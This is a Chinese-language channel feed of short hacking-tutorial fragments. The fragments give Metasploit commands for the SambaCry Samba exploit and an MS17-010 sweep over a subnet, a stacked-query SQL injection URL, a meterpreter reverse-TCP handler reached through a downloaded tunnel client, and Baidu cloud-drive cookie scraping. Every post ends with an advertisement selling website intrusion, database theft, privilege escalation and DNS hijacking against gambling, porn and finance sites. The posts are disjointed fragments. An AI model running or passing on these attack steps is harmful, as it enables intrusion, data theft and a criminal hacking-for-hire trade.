黑客渗透金融劫持 BC域名跳转

然后就是在Metasploit中加载并使用脚本，攻击过程如下

msf > use exploit/linux/samba/is_known_pipename
msf exploit(is_known_pipename) > show options

Module options (exploit/linux/samba/is_known_pipename):

Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 445 yes The SMB service port (TCP)
SMB_FOLDER no The directory to use within the writeable SMB share
SMB_SHARE_BASE no The remote filesystem path correlating with the SMB share name
SMB_SHARE_NAME no The name of the SMB share containing a writeable directory

需要填写目标地址和选择Target，我的是x64位系统，所以设置了target为3。
六合·色站·彩票·博彩·金融
接渗透拿站，各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站联系：@hacker_HouZiM

❤2👍1

295 views08:32

黑客渗透金融劫持 BC域名跳转

修改Ubuntu中的Samba配置文件。

sudo gedit /etc/samba/smb.conf
在[global]中添加：security = user
修改底部的[fuping]

[fuping] #显示的共享文件夹名字
path = /tmp
writeable = yes
六合·色站·彩票·博彩·金融
接渗透拿站，各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站联系：@hacker_HouZiM

❤1👍1

279 views04:52

黑客渗透金融劫持 BC域名跳转

.开始攻击

msf > use exploit/linux/samba/is_known_pipename
msf exploit(is_known_pipename) > set SMBUSER smbuser
SMBUSER => smbuser
msf exploit(is_known_pipename) > set SMBPASS smbuser
SMBPASS => smbuser
msf exploit(is_known_pipename) > set RHOST 192.168.232.137
RHOST => 192.168.232.137
msf exploit(is_known_pipename) > exploit
六合·色站·彩票·博彩·金融
接渗透拿站，各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站联系：@hacker_HouZiM

❤2👍1

310 views09:34

黑客渗透金融劫持 BC域名跳转

x01 如何获取重复的文件
这里以wap版为例。
打开https://pan.baidu.com/wap/home 并抓包。
可以看到一个Get请求
六合·色站·彩票·博彩·金融
接渗透拿站，各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站联系：@hacker_HouZiM

❤2👍1

389 views04:54

黑客渗透金融劫持 BC域名跳转

访问https://pan.baidu.com/wap/home ，查看源代码搜索bdstoken即可看到。
代码的实现如下：
Cookie只需要两个内容，一个是BDUSS，另一个是STOKEN。
六合·色站·彩票·博彩·金融
接渗透拿站，各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站联系：@hacker_HouZiM

❤2👍1

656 views09:33

黑客渗透金融劫持 BC域名跳转

递归获取所有的文件，并将文件的相关内容保存到数据库中
获取每页文件内容时需要三个参数：当前页面、每页显示数量和路径。
如下代码所示：

❤1

597 views05:14

黑客渗透金融劫持 BC域名跳转

查看数据库中的文件信息
由于有些目录下面是代码，而且文件多有小，所以就不针对这些文件目录下的文件进行遍历。就采用了白名单的方式，对白名单中内容不遍历。
由于某些路径中含有其他字符，导致找不到路径，使用采用了URL编码。
为了方便，直接将page设置为1，num值换为2000（可以根据自己的文件多少来调节，最好大一些），一页就将所有的数据显示出来。
插入数据库方法的代码比较简单，这里就省略了。
六合·色站·彩票·博彩·金融
接渗透拿站，各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站联系：@hacker_HouZiM

❤2👍1

360 views07:43

黑客渗透金融劫持 BC域名跳转

通过SQLMAP可以查看到是DBA权限

http://192.168.232.138:81/manage/news/Newslist.aspx?ClassID=1';CREATE TABLE tt_tmp (tmp1 varchar(8000));--
六合·色站·彩票·博彩·金融
接渗透拿站，各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站联系：@hacker_HouZiM

❤1👍1🔥1

378 views05:18

黑客渗透金融劫持 BC域名跳转

选择使用smb_ms_17_010模块，并查看使用命令。

msf > use auxiliary/scanner/smb/smb_ms_17_010
msf auxiliary(smb_ms_17_010) > show options
所必须的参数有三个，对于无需登录的SMB，我们只需设置一下扫描的IP段、线程并运行即可开始扫描。

msf auxiliary(smb_ms_17_010) > set RHOSTS 10.50.2.1-255
RHOSTS => 10.50.2.1-255
msf auxiliary(smb_ms_17_010) > set THREADS 10
THREADS => 10
msf auxiliary(smb_ms_17_010) > run
六合·色站·彩票·博彩·金融
接渗透拿站，各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站联系：@hacker_HouZiM

❤2👍1

492 views15:22

黑客渗透金融劫持 BC域名跳转

这里采用了www.ngrok.cc平台进行演示，类似这样的平台有很多，例如natapp.cn等。
注册并开通隧道，如图所示。
下载对应的客户端，下载地址为：https://www.ngrok.cc/#down-client ，选择与系统对应的软件。
我这里Kali为64位的，下载和使用命令如下：

root@kali:~/Downloads# wget hls.ctopus.com/sunny/linux_amd64.zip
root@kali:~/Downloads# unzip linux_amd64.zip
root@kali:~/Downloads# cd linux_amd64/
root@kali:~/Downloads/linux_amd64# ls
root@kali:~/Downloads/linux_amd64# ./sunny clientid 隧道ID
六合·色站·彩票·博彩·金融
接渗透拿站，各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站联系：@hacker_HouZiM

❤3👍1

738 views03:32

黑客渗透金融劫持 BC域名跳转

use exploit/multi/handler
set LHOST 192.168.232.134
set LPORT 5555
set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf exploit(handler) > exploit
由于关于Eternalblue利用方法有很多教程了，这里就不详细说明了，如图所示。
六合·色站·彩票·博彩·金融
接渗透拿站，各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站联系：@hacker_HouZiM

❤3🔥2

555 views04:24

About

Blog

Apps

Platform